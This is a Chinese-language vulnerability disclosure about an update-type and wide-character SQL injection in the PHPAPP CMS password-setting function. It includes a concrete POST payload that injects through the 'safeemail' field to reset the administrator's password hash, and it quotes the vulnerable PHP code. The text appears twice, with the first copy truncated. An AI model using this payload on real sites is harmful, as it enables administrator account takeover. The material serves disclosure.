### 简要描述： phpapp注入1，注入可修改管理员密码~ ### 详细说明： 测试的20131210发布的gbk版本 未对post传入的safeemail作过滤，在gpc关闭的情况下可以直接update型注入，在gpc开启的情况，宽字符注入； 漏洞exp： http://200.200.87.150:911/member.php?app=2&member=&action=43 Post的参数： PasswordOld=admin123&PasswordNew=admin123&Password=admin123&safeemail_s=hingzi%40163.com&Submit=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE&safeemail=1232@123.com',`password`='1c13dd448385e0aa32342888a8ae5528' where uid='1'--%20 文件： E:\PHPAPP_GBK\upload\phpapp\apps\member\member_phpapp.php ``` public function SetPasswordAction(){ $member=$this->GetMysqlOne('*'," ".$this->GetTable('member')." WHERE uid='$this->uid'"); if($this->POST['Submit']){ include_once(APPS.'/member/main_phpapp.php'); $checkpassword = new SubmitRegister($this->POST); $result=$checkpassword->EditPassword($this->uid,$this->POST,1); if($result=='ok'){ #echo $this->POST['safeemail'];exit; $this->Update('member',array('safeemail'=>$this->POST['safeemail']),array()," WHERE uid='$this->uid'"); echo '设置成功!<br />'; }else{ echo...
### 简要描述： phpapp注入1，注入可修改管理员密码~ ### 详细说明： 测试的20131210发布的gbk版本 未对post传入的safeemail作过滤，在gpc关闭的情况下可以直接update型注入，在gpc开启的情况，宽字符注入； 漏洞exp： http://200.200.87.150:911/member.php?app=2&member=&action=43 Post的参数： PasswordOld=admin123&PasswordNew=admin123&Password=admin123&safeemail_s=hingzi%40163.com&Submit=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE&safeemail=1232@123.com',`password`='1c13dd448385e0aa32342888a8ae5528' where uid='1'--%20 文件： E:\PHPAPP_GBK\upload\phpapp\apps\member\member_phpapp.php ``` public function SetPasswordAction(){ $member=$this->GetMysqlOne('*'," ".$this->GetTable('member')." WHERE uid='$this->uid'"); if($this->POST['Submit']){ include_once(APPS.'/member/main_phpapp.php'); $checkpassword = new SubmitRegister($this->POST); $result=$checkpassword->EditPassword($this->uid,$this->POST,1); if($result=='ok'){ #echo $this->POST['safeemail'];exit; $this->Update('member',array('safeemail'=>$this->POST['safeemail']),array()," WHERE uid='$this->uid'"); echo '设置成功!<br />'; }else{ echo $result; } echo $this->CloseNowWindows('#loading',1); }else{ include $this->Template('password_member'); } } ``` ### 漏洞证明： 见详细说明
